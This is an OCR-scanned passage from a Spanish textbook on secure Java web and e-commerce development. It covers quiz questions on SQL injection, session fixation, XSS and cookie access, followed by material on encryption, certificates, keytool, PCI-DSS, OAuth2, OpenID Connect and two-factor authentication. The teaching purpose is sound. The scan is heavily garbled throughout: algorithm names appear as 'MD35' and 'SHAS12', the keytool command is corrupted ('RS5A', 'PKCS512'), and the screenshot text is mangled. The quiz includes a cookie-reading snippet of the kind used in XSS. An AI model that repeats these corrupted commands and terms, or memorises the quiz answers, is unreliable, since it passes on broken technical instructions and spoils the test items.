c. Usar sentencias preparadas (Prepared statements en Java) y
procedimientos almacenados

d. Generar las consultas de forma dindmica con los parimetros que se
envian desde el cliente

3. (Como se puede afadir en Java a la sesiém un indicador booleano(true)
indicando que el usuario se ha autenticado{auth) correctamente?
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request.setSession(“auth”, true);
request.zetSession( ). setAttribute("auth”, true);
request.setAuthentication(*auth™, true);
setSession(“auth”, true);

4. ;Qué accidn en Java nos ayudaria a prevenir la fijacion de sesion?

a.

b.

Establecer un timeout de sesidm en el fichero web.xml

Establecer un atributo fixation en la sesion a valor false
request.getSession( ).setAttribute("fixation™, false);

Establecer un atributo fixation en la sesion a valor true
request.getSession( ).setAtiribute( " fixation™, true);

. Finalizar la sesidn actual y crear una nueva con el objeto request
sessionanvalidate();
session=request.gelSession(true);

5. ;Qué tipo de ataque XS8 el cddigo javascript se envia y sin realizar
validaciones se almacena en el servidor de forma persistente?

(= -

Stored X585
Reflejado

DOM Based X885
JavaSeript X85

6. ;Qué codigo javascript permite obtener las cookies del navegador?

(=S -

javascript:document.cookies
. javascript:document.cookie

. javascript:browser.cookie

. javascript:browser.cookies

7. :0Qué etiqueta o atributo podemos utilizar en aplicaciones web en Java
para evitar ¢l acceso por medio de scripts a las cookies del navegador?

L

b
c.
d

hitponly cookie
. hitpeookie secure
httpsecure cookie
. hupsecure

8. Una de las contramedidas para la exposicion de datos sensibles
relacionadas con el almacenamiento criptografico es el uso de algoritmos
de cifrado, ;qué algoritmos se recomiendan para tener un cifrado lo mas
seguro posible?
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d.

. Uso de algoritmos de criptograficamente fuertes como MD35 o SHA-1
. No es necesario ningin algoritmo de cifrado

. Uso de algoritmos de criptogrificamente fuertes SHA256, SHAS12,

AES

Elalgoritmo lo puede decidir el desarrollador ¢ inventarse uno propio

9. ;Con qué estd relacionado la vulnerabilidad Ausencia de control de
acceso a las funciones?

a.

C.

d.

Permite obtener las credenciales del usuario para acceder a informacion
privadas

. Permite el acceso a URL privadas a nivel de administraciéon y

configuracion
Permite acceder a etiquetas ocultas del HTML

Permite acceder a URL gue son visibles solo viendo el codigo fuente

10.;Qué mecanismo de seguridad de los navegadores para restringir la
gjecucion de codigo proveniente de servidores ajenos?

a. Consultas parametrizadas (Prepared statements)
b.
e
d

Referencia directa insegura a objelos

. Secuencias de comandos en sitios cruzados
. Politica del mismo origen (SOP)

1.15 LECTURAS RECOMENDADAS

F OWASP

hitps Awww.owasp.org/index_php/Category:OWASP _Java Project

hitpzdtwww jtmelton.com/ 200901 03/ the-owasp-top-ten-and-esapi

¥ Politica del mismo origen

hitps:fdevelopermozilla. org/en-US/idocs/Web/Security/Same-origin_
policy
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1.16 GLOSARIO DE TERMINOS

F Catdlogo: Conjunto de tablas de una base de datos.

¥ Cookie: Una cookie es un fichero que se envia a un navegador por medio
de un servidor web para registrar las actividades de un usuario en un sitio
web,

¥ Cheat Sheet: Documento que contiene una serie de trucos acerca del uso
de una determinada herramienta.

¥ DB2(DataBase 2): Sistema de administracion de bases de datos
relacionales de IBM para macroordenadores.

F Inyeccidon SQL: Vulnerabilidad que se presenta cuando un programa
genera una sentencia SQL con pardmetros proporcionados por ¢l usuario,
donde este ha incluido codigo SQL que, al no verificarse, pasa a formar
parte de la sentencia final.

F ORM (Object-Relational Mapping): Esta capa se encarga de mapear
objetos del dominio del problema, en tablas de bases de datos relacionales.

¥ Phishing: Consiste en el envio masivo de mensajes que, aparentando
provenir de fuentes Rables, intentan conseguir que el usuario proporcione
datos confidenciales.

¥ Sesion: Periodo de tiempo durante el cual un usuario estéd autenticado en
un sistema,

F Script: Hace referencia a todos aquellos ficheros o secciones de codigo
escritas en algin lenguaje de programacion, como Visual Basic Script
JavaScript, etc.



APLICACIONES DE COMERCIO
ELECTRONICO

INTRODUCCION

El desarrollo de aplicaciones seguras, sobre todo si estas van a dar soporte
a procesos de negocio o van a eslar expuestas a Internet, es el mejor mecanismo
de defensa de los activos de una organizacion ante los ciberataques. La exposicion
masiva de estas aplicaciones via web, desde cualquier punto del planeta, por
cualguier persona, multiplica las posibilidades de que las vulnerabilidades de estos
aplicativos sean explotadas interrumpiendo servicios (atagues por denegacion de
servicio), afectando a la integridad vy confidencialidad de los datos (éstos pueden
ser extraidos o manipulados), dando lugar a todo tipo de problemas y sanciones por
incumplimientos normativos o legales, sin olvidar las repercusiones en la reputacion
o los dafios a la imagen que pueden sultir las compafiias que sufren dichos ataques.

OBJETIVOS DE LA UNIDAD DIDACTICA

1. Analizar la importancia de la seguridad en aplicaciones de comercio
electronico.

2. Conocer los principales mecanismos de autenticacion que podemos
encontrar hoy en dia.
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3. Conocer las principales técnicas para validar datos y como aplicarlas en
la plataforma Java.

4. Conocer OWASP como ayuda al desarrollador para realizar aplicaciones
de forma segura.

2.1 TERMINOLOGIA

Vamos a recordar una serie de conceptos necesarios para entender los
distintos mecanismos para dotar de seguridad a los servicios web:

¥ Cifrado con elave simétrica; Se utiliza una misma clave para cifrar y
descifrar los datos. En este caso esa clave debe ser conocida por los dos
extremos de la comunicacidn.

¥ Cifrado con clave asimétrica: Se tienen dos ¢laves, una piblica y otra
privada. La clave piblica puede ser difundida, pero la privada nunca se le
comunicard a nadie. Lo que se cifra con la clave piblica, solo puede ser
descifrado con la privada, y viceversa. Por lo tanto, si queremos que los
datos que nos envien vengan cifrados, deberemos proporcionar nuestra
clave piblica al otro extremo de la comunicacion, el emisor en este
caso, que utilizard la clave para cifrar los datos y envidrnoslos. Nosotros
podremos descifrarlos con nuestra clave privada, que nunca habremos
entregado a nadie.

¥ Huella digital: Consiste en un codigo de una determinada longitud
(por ejemplo 128 bits) generado a partir de un documento mediante un
algoritmo conocido como digest, como por ejemplo MD35 o SHA. Dos
documentos exactos tendrin la misma huella, pero cualquier pequefio
cambio que se produzca alterard fuertemente dicha huella. Una misma
huella podria corvesponder a varios documentos diferentes.

¥ Firma digital: Consiste en cifrar la huella de los datos que estamos
enviando mediante nuestra clave privada. El receptor de dicho documento
podra recuperar la huella descifrindola mediante nuestra clave publica,
pero nunca podrd generar una nueva firma ya que no cuenta con nuestra
clave privada. Una vez descifrada la huella, podrd generar la huella de
los datos recibidos y comprobar si coineide con la que le enviamos. Esto
le garantizari que los datos no hayan sido modificados por nadie mds a
parte de nosotros, ya que somos los Unicos que tenemos en nuesiro poder
la clave privada necesaria para firmarlos.
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¥ Certificado digital: Un certificado digital relaciona una clave publica

con una determinada entidad. Es un documento en el que figuran los
datos de la entidad vy su clave pablica (necesaria para poder validar los
datos recibidos de dicha entidad, o para enviarle informacion propia
cifrada). Ademas, dicho certificado habra sido emitido por una Autoridad
Certificadora (CA), v estara firmado por ella, para asi poder confiar en su
autenticidad. El protocole mas utilizado para certificar es el X509,

Certificado raiz: Son los certificados correspondientes a las CAs, que
contienen la clave publica necesaria para validar los certificados emitidos
por ellas. Son un caso especial de certificados, ya que representan a la
misma entidad que los ha emitido, por lo que no hay forma de validarlos,
estos certificados se presuponen vilidos. Suelen venir ya instalados en las
aplicaciones o dispositivos que utilizamos para coneclarnos, como son
los navegadores web o dispositives mdviles,

Cuando hablamos de seguridad en el intercambio de informacidon en

aplicaciones de comercio electrdnico encontramos tres aspectos que debemos
diferenciar:

¥ Confidencialidad: Se trata de evitar gque la informacion privada pueda

ser vista por personas no autorizadas. Esto se resuelve mediante el cifrado
de los datos (con clave simétrica o asimétrica).

Integridad: Se trata de evitar que los datos sean alterados indebidamente.
Esto se resuelve mediante ¢l uso de una huella digital. Normalmente esta
huella se encuentra cifrada mediante la clave privada de quien envid estos
datos, dando lugar a lo que se conoce como firma digital.

Autenticacidon: Se trata de verificar la identidad del otro extremo. Para
autenticar a los usuarios normalmente basta con gue proporcionen
login ¥ password. 51 se requiere un mayor nivel de seguridad, se puede
proporcionar al usuario un certificado firmado digitalmente (como por
ejemplo los certificados extendidos por la FNMT que nos permiten
acceder a servicios para presentar la declaracion de la renta). Para
autenticar a los sitios web (por gjemplo, cuando accedemos a nuestro
banco, saber que realmente nos estamos comunicando con &1), también se
utilizara la firma digital (la informacion que nos proporcione el servidor
vendrd firmada por un certificado de su propiedad).
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2.2 MANEJO SEGUROD DE INFORMACIGN CONFIDENCIAL

Cuando un cliente utiliza un Servicio Web, deberd enviarle un mensaje a
este servicio a través de la red, v el servicio le responderd mediante otro mensaje.
Estos mensajes contendrin informacién que puede ser confidencial. En los casos
en los que estemos transmitiendo informacion sensible en la invocacion al servicio,
deberemos contar con métodos para cifrar estos datos.

Dado que estos mensajes se envian mediante protocolo HTTP, al igual que
en el caso de las aplicaciones web podran ser encriptados mediante SSL (HTTPS),
evitando de esta forma que puedan ser leidos o modificados por un tercero. El
protocolo 551 en lineas generales consisie en los siguientes pasos:

¥ El cliente negocia con el servidor una clave simétrica para cifrar la
informaciém (handshake). Esta negociacion se hace utilizando la clave
pablica del certificado del servidor (el cliente obtiene la clave piablica
del certificado del servidor, genera una clave simétrica para la sesidn,
y se la envia cifrada al servidor mediante su clave publica). De forma
opcional, el cliente podria autenticarse mediante su propio certificado si
fuese necesario.

F Cliente y servidor intercambian la informacion cifrindola v firmandola
mediante la clave simétrica acordada. De esta manera dicho protocolo
nos proporciona confidencialidad e integridad en las comunicaciones.

2.3 CERTIFICADOS DIGITALES Y CRIPTOGRAFIA DE CLAVE PUBLICA

Junto con las passwords, el mecanismo de autenticacién mds comin en
aplicaciones enterprise son los certificados. Cominmente se emplean para autenticar
al servidor, pero también se pueden usar para el cliente, como se hace en la mayoria
de organismos oficiales que ofrecen servicios a través de la red.

En los sistemas de criptografia de eclave piblica las claves usadas para
encriptar los mensajes van “por parejas”. Lo que se encripla con una clave de la
pareja solo se puede desencriptar con la otra. Este mecanismo se puede usar tanto
para comunicaciones secrctas como para autenticacidon. La idea consiste en gue
una de las claves de la pareja se distribuye piblicamente y se conoce como “clave
plblica™ mientras que la otra solo deberia ser conocida por su duefio v es la “clave
privada™. Si se¢ encripta un mensaje con la clave privada del usuario solo se podrd
desencriptar con su clave publica, ¥ esto nos proporciona un mecanismo para
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comprobar la autoria del mensaje. De hecho, se puede considerar que ¢l documento
encriptado con la clave privada ha sido “firmado™ por el autor,

Mo obstante, el mecanismo anterior no nos asegura la identidad del autor
del mensaje en el mundo real, solo gue el autor posee determinada clave privada.
Alguien podria enviarnos por email o por cualquier otro canal una clave phblica
diciendo que es cierla persona u organizacion y sin embargo no ser cierto. [ Cdmo
saber entonces que alguien es quien dice ser? Surge asi el concepto de eertificado.
Un certificado es una clave piblica de un usuario firmada digitalmente por alguien
en quien confiamos. Esa firma “certifica™ que ese alguien es quien dice ser. Existe
un formato estdndar para certificados, el X509, con el que se pueden almacenar,
importar v exporlar segin nuesiras necesidades.

Por supuesto esto plantea otra pregunta: ;quidn es este usuario o entidad
en quien confiamos v quiénes firman digitalmente los certificados? Este papel lo
desempenan las autoridades de certificacion o Certificate Authorities (CA). Hay
autoridades de certificacion privadas, compafias como Thawte o Verisign, y también
piblicas. En Espafia la FNMT actia como tal ¥ muchas Comunidades Autonomas
también tienen su CA.

Por tanto, necesitamos disponer de una lista de autoridades certificadoras
en las que confiar. Dicha lista serd en realidad un almacén de certificados con las
claves publicas de las autoridades certificadoras. Lo cual de nuevo nos plantea un
problema que més bien parece destinado a una regresion infinita: ;quién Arma los
certificados de las autoridades certificadoras? Para acabar con la regresion en algin
punto, normalmente estos certificados estdn auwtofirmados, es decir, firmados por el
propio titular del certificado. Evidentemente, estos certificados auto-firmados son
un punto ctitico en la seguridad del sistema v solo deben obtenerse de fuentes y
métodos absolutamente fiables. Mormalmente vienen ya instalados en los sistemas
(servidores de aplicaciones o los propios navegadores) o se obtienen via métodos
presenciales. Se establece una especie de “cadena de confianza™ (chain of trust), de
esta forma, estamos confiando en el certificado de alguien porque estd firmado por
una autoridad en cuyo certificado confiamos. En el ejemplo, la cadena solo tiene dos
eslabones, pero podria tener mds, con varios niveles de antoridades de certificacion.
El certificado auto-firmado, del final de la cadena, se conoce generalmente como
“certificado raiz” o root certificate.

2.4 CREACION DE CERTIFICADOS CON LA HERRAMIENTA KEYTOOL

El primer paso es obtener el certificado para el cliente. Normalmente este lo
proporeionard una autoridad de certificaciom, pero como los certificados tienen un
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coste monetario, para hacer pruchas en desarrollo se suelen usar certificados awto-
firmados.

Estos certificados no estdn firmados por ninguna autoridad de certificacion
reconocida, sino por el propio usuario. Por ello el navegador nos dard una serie de
warnings, pero son perfectamente usables para las pruchas.

Para trabajar con certificados es bdsico contar con alguna herramienta que
nos permita crearlos, editarlos v mostrar sus contenidos. Los certificados se guardan
en archivos almacenes de claves o keystores, a los gue necesitaremos anadir nuestra
nueva clave (hay uno en el cliente y otro en el servidor). E1 JDK tiene una herramienta
en linea de comandos que nos permite realizar todas estas operaciones llamada
keytool. Escribiendo keytool en linea de comandos obtendremos una breve ayuda

sobre su uso, dungue llL|:LIj VETCMOS past d paso todas las U]’)L‘]’llﬂji!l]l_‘ﬁ NeCcesarias.

keytool =gemkeupair [OPTION]..
Genera un par de clav
Dpciohes

nombre de alias de la entrada que se uva a procesar
nembre de algeritme de clauve
tamato de bit de elauva
algoritme de firma
de destino

alidez del certificade

ntra
1 tipe de
ovidername nembre de
providercla r nombre de cl del proveedor
argunente del prou

-Jrate; od

Figura 2.1. Captura de pantalla. Ejecucion Keytool

Vamos pues a crear un certificado auto-firmado para autenticar al cliente.
Tenemos que especificar, entre otras cosas, el algoritmo empleado para la generacion
del certificado v el nombre del almacén de claves. Ademais, el certificado v el almacén
estan protegidos por un password. Esto se consigue con el siguiente comando:
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% keytool -genkeypair -v -alias autofirmada -keyalg RS5A -storetype PKCS512

-keystore keystore_cliente.pl? -storepass secreto -keypass secreto

Con el switch genkey especificamos que deseamos crear un nuevo certificado.
El alias del certificado es arbitrario, simplemente ¢s un nombre para identificarlo
dentro del almacén.

Elegimos el tipo de almacén mds comin en navegadores, PKCS12, El
nombre del archivo de almacén es arbitrario pero al ser de este tipo deberia tener
extension .pl2. Por Gltimo, especificamos las passwords para acceder al almacén v al
certificado. Una vez tecleada la orden se nos ird solicitando la informacion necesaria
para generar ¢l certificado.

Figura 2.2. Captura de pantalla. Ejecucion Keytool

[ keystore cliente.pl? J

L,

Importacion del certificado creado en un navegador

Debemos importar ¢l certificado a nuestro navegador habitual antes de
poder usarlo. Este paso es dependiente del navegador. Aqui veremos como hacerlo
en Firefox. Vamos a la opcion de mend Editar > Preferencias. Los certificados
se gestionan desde la opeion Avanzado, Con el botdén Ver certificados... haremos
aparecer el cuadro de didlogo del Administrador de certificados, desde el que
podemos importar y borrar certificados.
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Avanzado

Ganeral Eleceion de detos Red Actualizar Certificados

Solicitudes
Cuando un servidor requiera mi certficado personal;

Selecciorar ung aummdticamente
@ Fregunter sempre

o Consultar a kos servidores respendedores OCSF para confirmar la validez actsal de los certificados

it cestificadens Dispasitives de sequridad

Figura 2.3. Gestion de certificades desde Firefox

Pulsamos sobre el botdn lmportar... v buscamos el fichero almacén de claves
recién creado (Keystore_cliente.pl2). Se nos pedird la contrasefia con la que creamos
el almacén. Si todo va bien, apareceri el certificado en el administrador.

Administrador de certificados

Susmﬁmclm| Permrﬂsi smnju-e;| mﬂadainlmsl

Tene cerficados de estas organzaciones que ke identfican:

Hombre del certficado I [Hepostiva de ssquridad | nimeno de sene

ademo

Disp, software de saquiidad

BT Haoer copa. .. l Hacer copia de todo.. ! Impotar... I Elminar...

Figura 2.4. Administrador de cerificados
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\isor de certificados: "autofirmada”

Campos del certificado
i o despude
-Asunto
| anformacidn de B cave plblca del sujeto
i Algoritmo de b dave pubica del sujeto
! lave piblica del sujeto
| Exiensones
! D de dave de asunto de certficado

Valor de la firma del certiicado

Valor del campo

PECS £]1 =HA-25& ~on cifrado RSA

Exportar.. I

Figura 2.5. Administrador de certificados

2.5 NORMATIVA PCI-DSS (PAYMENT CARD INDUSTRY DATA SECURITY STANDARD)

La norma PCl DSS (Payment Card Industry Data Security Standard)
certifica el estindar en seguridad de las principales compafias emisoras de tarjetas
(débito y crédito) v avuda a reducir el riesgo de fraude. Es un conjunto de requisitos
dirigido a las compafias que procesan, transmiten y/o almacenan esta informacion
y que deben validar su cumplimiento de forma periddica. El estdndar se cred en el
afio 2004 para garantizar que ciertas medidas de seguridad se llevaran a cabo por las
organizaciones de manegjo de la informacion del titular de proteccidn contra el robo
de datos, entre las que podemos destacar: Visa, MasterCard, JCB, American Express,
y Discover.
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El estindar PCl DSS se ha convertido en uno de los mds ampliamente
conocidos requisitos de cumplimiento de la seguridad en aplicaciones de comercio
electronico que requieran tratar con datos relativos a tatjetas de erédito. PCI-DSS estd
dirigide a cualguier organizacidn que almacena, procesa v transmite la informacion
confidencial.

El PCI-DSS es ideal para organizaciones que por lo general entran en
contacto con una gran cantidad de informacion de titulares de tarjetas, va sea durante
el almacenamiento, procesamiento o ransmision.

El PCI-DSS también se aplica a los bancos y proveedores de servicios como
las organizaciones de desarrollo de sofiware ¥ organizaciones de externalizacion de
procesos de negocio, yva que proporcionan servicios a entidades comerciales.

El PCI-DSS comprende un conjunte de 12 requisitos, que abarcan la
seguridad de red, seguridad de host, seguridad de la aplicacion, y la seguridad fisica:

F Regquisito 1: Instalar ¥ mantener una configuracion de cortafuegos para
proteger los datos de titulares de tarjetas.

¥ Requisito 2: No utilizar los valores predeterminados suministrados por
el proveedor para las contrasefias del sistema y otros pardmetros de
seguridad.

¥ Requisito 3: Proteger los datos de titulares de tarjetas almacenados,

F Requisito 4: Cifrar la transmision de los datos de titulares de tarjetas a
traveés de redes piablicas abiertas.

¥ Requisito 5: Usar v actualizar regularmente el software antivirus.
F Requisito 6: Desarrollar v mantener sistemas y aplicaciones seguras.

¥V Requisito 7: Restringir el acceso a los datos de titulares de tarjetas segin
las necesidades de negocio.

F Regquisito 8: Asignar un identificador Gnico a cada persona con acceso a
una computadora.

¥ Requisito 9 Restringir el acceso fisico a los datos de titulares de tarjetas.

F Requisito 10: Rastrear y monitorear todo el acceso a los recursos de red
v datos de titulares de tarjetas.

F Requisito 11: Probar regularmente los sistemas y procesos de seguridad.
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¥ Requisite 12: Mantener una politica que aborde la seguridad de la
informacion.

La seguridad de las aplicaciones Web, por lo tanto, es una consideracion
importante desde un punto de vista del estandar PCI-DSS.

La norma, aparte de reguerir un fuerte mecanismo de autenticacidon y
autorizacion, aplicacion de cifrado, v la aplicacion de registro, exige pricticas de
desarrollo seguro como parte del requisito 6.

También requiere que se analicen las aplicaciones Web orientacion al
publico en busca de vulnerabilidades de aplicaciones Web comunes, segin lo
establecido por la OWASP Top Ten o normas similares. Ademads de estos requisitos,
esta norma tambidn se adentra en temas como la revisidn de codigo, evaluacidn de la
vulnerabilidad, v la ejecucion de un firewall de aplicaciones Web.

Se puede obtener mas informacion en la paging web: https:waww
poisecuritystandarnds.org

Directrices para el desarrollo seguro de aplicaciones

Con el fin de proteger los datos y para proporcionar directrices de desarrollo
de aplicaciones seguras, el PCI Security Standards Council publicd el Estdndar de
Desarrollo de Aplicaciones Seguras de Pago con Tarjeta (PA-DSS). Esta norma se
aplica a los desarrolladores de aplicaciones de pago comerciales v proveedores de
servicios relacionados. Se proporciona una lista de buenas practicas consideradas
cOmo seguras para el desarrollo de aplicaciones seguras de pago con larjeta:

Proporcionar funcionalidades de contrasefia segura.

Proteger la informacion almacenada de los titulares de las tarjetas.
Registrar los logs de la aplicacion.

Desarrollar aplicaciones seguras.

Proteger las transmisiones inalimbricas.

Pruebe las aplicaciones para encontrar y solucionar vulnerabilidades.
Facilitar el funcionamiento mediante una red segura.

No almacene datos de titulares de tarjetas en el servidor,

Facilitar las actualizaciones remotas del solftware de forma segura,
Facilitar el acceso remoto seguro a las aplicaciones.

Cifrar el trdfico sensible a través de redes pablicas.

e B B B B B B B B B B
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2.6 MECANISMOS DE AUTENTICACION

En los dltimos tiempos han surgido un conjunto de protocolos gue tienen
como objetivo permitir a los usuarios controlar de forma mas efectiva v segura el
acceso a sus datos e informacidn personal. La base de todos estos protocolos es
OAuth2. Junto con OAuth? tenemos otros protocolos como OpenlD Connect v ¢l
mas reciente, User-Managed Access.

26.1 DAuth2

OAuth? es un protocolo de autorizacion gue permite a terceros (clientes)
acceder a contenidos propiedad de un usuario (alojados en aplicaciones de confianza,
servidor de recursos) sin que estos tengan que manejar ni conocer las credenciales
originales del usuario. Es decir, aplicaciones de terceros pueden acceder a contenidos
propiedad del usuario, pero estas aplicaciones no conocen las credenciales de
autenticacion originales.

Este estdndar esta disefado para trabajar especificamente sobre el protocolo
HTTEP, ¥ esencialmente lo que hace es generar tokens de acceso a un cliente con la
aprobacion de duefio de los recursos. Los tekens de acceso se comportan similar a
una variable de sesibn que puede almacenar en una cookie para mantener al usuario
conectado en su sitio web.

La pagina oficial del provecto ex htip:Joauth.net v en la seccion code
podemos enconirar los lenguafes v librerias soportados.

Dentro del ecosistema de Java podemos destacar la librerla SeribeJava que
estd preparada a trabajar con las APl de Linkedln, Google, Yahoo, Twitter, entre
olras.

El repositorio de github de esta libreria se puede acceder en:

https Aeithub.com/scribefavadseribejava

Ventajas de OAuth2

OAuth? tiene dos grandes ventajas, soluciona el problema de la confianza
entre un usuario y aplicaciones de terceros, v 4 su vez permite a un proveedor de
servicios/ APl facilitar a aplicaciones de terceros a que amplien sus servicios con
aplicaciones que hacen uso de los datos de sus usuarios de manera segura v dejando
al usunario la decision de cudndo vy a quien, revocar o facilitar acceso a sus datos,
creando asi un ecosistema de aplicaciones alrededor del proveedor de servicios/APL
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Implementacion de la autenticacion OAuth 2.0

Algunas APIS como las de Google o YouTube son compatibles con el
protocolo OAuth 2.0 para autorizar el acceso a los datos privados del usuario. En
esta lista se explican algunos conceptos esenciales de OAuth 2.0:

F Cuando un usuario intenta utilizar por primera vez una funcionalidad de
la aplicacion que requiere el acceso a una Google Account o YouTube
Account, la aplicacidn inicia el proceso de autorizacion de OAuth 2.0,

F La aplicacion dirige al usuario al servidor de autorizacion de Google.
El vinculo a la pdgina especifica el dmbito de acceso que la aplicacion
solicita para la cuenta del usuwario. El ambito (scope) especifica los
recursos que la aplicaciom puede oblener, insertar, actualizar o suprimir
al actuar como el usuario autenticado.

¥ 51 el usuario da su consentimiento y autoriza a la aplicacion a acceder a
esos recursos, Google genera un foken para la aplicacion. Dependiendo
del tipo de aplicacion, puede validar el raken o cambiarlo por uno de otro
tipo.

F Por ejemplo, una aplicacion web del servidor cambia el token que se
generd por un éfoken de acceso v otro de actualizacion. El token de acceso
permite a la aplicacién autorizar solicitudes en nombre del usuario,
mientras que el foken de actualizacion permite a la aplicacidon obtener un
nuevo foken de acceso cuando el original expire.

Funcionamiento de OAuth 2.0

Vamos a repasar un proceso simple de autenticacion haciendo vso del
protocolo OAuth 2.0, La situacion es que un usuario quiere acceder a recursos en
el consumidor, pero autenticarse con su cuenta del proveedor de servicios. En un
escenario OAuth2 estas son las partes que podemos identificar:

F Proveedor de Servicio: es el término empleado para describir al sitio
web o servicio web donde estin localizados los recursos restringidos.
Puede ser cualquier sitio donde se almacene informacidn privada de los
usuarios. OAuth no obliga que ¢l Proveedor de Servicio también sea el
Proveedor de Identidad, lo que significa que el Proveedor de Servicio
puede usar sus propios nombres de usuario ¥ contrasefias para autenticar
a sus usuarios o bien utilizar otros sistemas.
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¥ Usupario: los usuarios tienen informacion ¥ recursos que no guieren gue
sean plblicos en el Proveedor de Servicio pero que quieren compartir con
otro sitio. En OAuth el protocolo requiere interaccion manual del usuario
por lo menos una vez, para recibir la autorizacion explicita de aceeso.

F Cliente: es la aplicacién que trata de acceder a los recursos privados
del Usuario, Puede ser un sitio web, una aplicacion de escritorio, un
dispositive mdvil o cualquier otro dispositive conectado a Internet. El
Consumidor ¢s ¢l que obtiene el permiso para acceder a los recursos y
donde se realiza la mayor parte del proceso de oAuth. El Proveedor de
Servicio genera para ¢l Consumidor informacion téenica para realizar la
implementacidn, como la key del consumidor (consumer key) v el secreto
(consumer secrel).

¥ Recursos Protegidos: ¢s todo lo que el protocolo OAuth protege. Puede
ser informacion o URL.

¥ Propietario de recursos: Es una entidad capaz de dar acceso a recursos
protegidos.

F Servidor de recursos: Es la entidad que tiene los recursos protegidos.
Es capaz de aceptar v responder peticiones usando un roken de acceso
{access token) que debe venir en el cuerpo de la peticion,

¥ Servidor de autorizacion: En muchos casos el servidor de autenticacion
es ¢l mismo que el Servidor de Recursos. En el caso de que se separen, el
servidor de autenticacion es el responsable de generar tokens de acceso y
validar usuarios y credenciales,

F Cuando es una persona nos releriremos a &l como usuario final.

Tokens: OAuth funciona con fokens en lugar de credenciales para acceder
a los recursos. Los fokens son cadenas alfanuméricas nicas que se usan
junto al secreto del consumidor. Hay dos tipos: de peticion v de acceso.

Con este escenario surge la necesidad de implementar un protocolo de
autorizacion, en el que el usuario final pueda autorizar a aplicaciones de terceros
acceder asus datos en laaplicacion proveedora sin necesidad de darle sus credenciales.

Ejemplo de lujo de autenticacidn para el caso de una llamada al servicio
de fogin de Google:
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Your App Googla Servers
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Gouogle API

Figura 2.6. Flujo de autenticacion servicio de google

P Authorization code: Ez una cadena de tlexto que nos devolverd el
servicio de Google, pero que nos permite acceder a sus solicitar el roken
(access o refresh).

W Token: Se trata de una cadena larga con un hash que nos devolverd
Google. A su vez se dividen en:

o Access Token: Token que servird para un acceso normal de nuestra
aplicacion a los servicios. Generalmente caducard a la hora de ser
expedido.

® Refresh Token: Token que permitivd  generar access  tokens
posteriormente de forma que nuestra aplicacion no nos pedird mds
permiso,

Para iniciar el proceso lo primero es registrar un consumidor en un proveedor

de servicios. Tras este registro ¢s cuando ¢l consumidor recibe la clave y el secreto
que le asigna el proveedor de servicios. Los pasos que se llevan a cabo en un proceso

de autorizacidn son:
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1. La aplicaciom pide un token al proveedor de servicios

2. Se redirige al usuario a una pagina segura en el proveedor de servicios,
pasandole el foken de peticién como pardmetro.

3. El usuario se autentica en la pagina del proveedor de servicios.
4. El proveedor de servicios envia al usuario de vuelta a la aplicacion,

5. La aplicacion cambia el token de peticidn por el de acceso, que permitird
al usuario acceder a los recursos protegidos.

26.2 OpenlD Connect

Se trata de un estdndar desarrollado inicialmente en 2005 por la Openld
Foundation. Es lo mds parecido a un intento de DNI en internet. Bdsicamente los
beneficios son los mismos que con Single Sign On, un usuario con unas credenciales
pucde identificarse a lo largo de distintos sitios. La gran diferencia radica en el
como se hace, ya gue cada usuario posee una URL Gnica para identificarse contra
proveedores de OpenlD, gue no son mds que webs externas que gestionan los
credenciales e informacion del usuario.

Es decir, cuando creas tu cuenta en OpenlD, debes elegir un proveedor de
identidad para crear tu cuenta. Algunos de los proveedores de Openld son:

¥ MyOpenld
¥ Verisign
¥ Google
¥ WordPress

OpenlD Connect es la tercera generacion de tecnologia OpenlD. Surge
con la idea de hacer mds facil la implementacion del protocolo OpenlD, ampliando
su conjunto de casos de uso. Hoy en dia cualquier programador con experiencia
en el envio y recepeion de mensajes JSON a traveés de HTTP podria ser capaz de
aplicar OpenlD Connect desde cero, utilizando bibliotecas de verificacion de firma
de cifrado estindar. OpenlD connect utiliza OAuth 2.0 para acceder de forma segura
a una APl que permite recuperar los atributos del usuario; v que integra lo que se
ha denominado OpenlD Artifact Binding (AB) para la interaccion de aplicaciones
en movilidad con servicios en la Web, separando la autorizacion para el acceso,
del propio acceso, que se realiza mediante la APL pensando en una arquilectura
RESTul.
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Para mas informaciom consultar las paginas:
http:Yopenidexplained com

http: fopenid net/connect/

25.3 Doble factor de autenticacion

La autenticacion de dos-factores es una caracteristica gue pide por algo mds
que tu clave. Requiere “algo que th sabes™ {como una clave) v “algo que ti tienes™
(como tu teléfono). Al ingresar con tu clave, obltendrds un segundo coddigo que serd
enviado a un segundo dispositivoe y solo una vez ingreses ese codigo podris entrar
a tu cuenta.

Una lista de algunos servicios que soportan autenticacion de dos-factores:

F Google/Gmail: La autenticacion de dos-factores envia un codigo de 6
digitos via mensaje de texto cuando intentas iniciar sesion de una nueva
computadora o dispositivo, funciona también con la aplicacion Google
Authenticator disponible para Android, 108 vy Blackberry.

¥ LastPass: LastPass es uno de los mds importanies servicios para usar con
autenticacion de 2-factores, ya que almacena todos s claves. Utiliza la
aplicacion Google Authenticator para Android, 108 v Blackberry.

¥ Apple: La autenticacidon de dos-factores envia un codigo de 4 digitos
via mensaje de texto o notificaciones “Find My iPhone” cuando intentas
iniciar sesidn en un nuevo dispositivo.

¥ Facebook: Le llaman “Login Approvals” envia un cddigo de 6 digitos via
mensaje de texto cuando intentas iniciar sesion en un nuevo dispositivo.
Puedes autorizar un nuevo dispositive desde un dispositive guardado si
es que no tienes un teléfono a la mano.

F Twitter: Envia un cddigo de 6 digitos via mensaje de texto para iniciar
en un nuevo dispositivo.

¥ Dropbox: Envia un cddigo de 6 digitos via mensaje de texto cuando
intentas iniciar sesidén en un nuevo dispositivo, funciona también con
Google Authenticator.

F Evernote: Usuarios gratis necesitan utilizar la aplicacion Google
Authenticator. Usuarios premium pueden recibir un codigo via mensaje
de texlo para iniciar sesiom en un nuevo dispositivo.
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¥ PayPal: Envia un cddigo de 6 digitos via mensaje de texto cuando
intentas iniciar sesion en un nuevo dispositivo.

F Steam: La autenticacion de dos-factores de Steam se llama Steam Guard,
envia un codigo de 5 digitos via correo cuando intentas iniciar sesion en
un nuevo dispositivo.,

F Cuentas de Microsoft: Te envia un codigo de 7 digitos via mensaje de
texto o correo cuando intentas niciar sesion en un nuevo dispositivo,
aungue también funciona con un nimero de aplicaciones autenticadoras.

F Yahoo! Mail: Envia un cddigo de 6 digitos via mensaje de texto cuando
inlenlas iniciar sesion en un nuevo dispositivo.

F Amazon Web Services: Utiliza aplicaciones de autenticacion como el
Google Authenticator y en Windows Phone via la aplicaciom Authenticator,

¥ LinkedlIn: Envia un codigo de 6 digitos via mensaje de texto cuando
